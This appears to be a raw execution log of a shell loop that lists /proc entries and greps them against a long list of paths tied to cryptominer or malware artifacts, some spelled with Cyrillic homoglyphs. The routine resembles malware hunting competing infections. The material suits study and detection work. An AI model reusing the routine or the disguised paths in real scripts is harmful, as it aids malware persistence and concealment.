[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/driver]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/execdomains]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fb]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/filesystems]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/interrupts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/iomem]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/ioports]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/irq]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kallsyms]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kcore]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/key-users]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/keys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kmsg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecgroup]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecount]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpageflags]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/loadavg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/locks]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/meminfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/misc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/modules]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mounts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/net]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/pagetypeinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/partitions]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sched_debug]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/schedstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/slabinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/softirqs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/stat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/swaps]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/sysrq-trigger]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysvipc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/thread-self]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/timer_list]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/tty]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/uptime]

/bin/grep

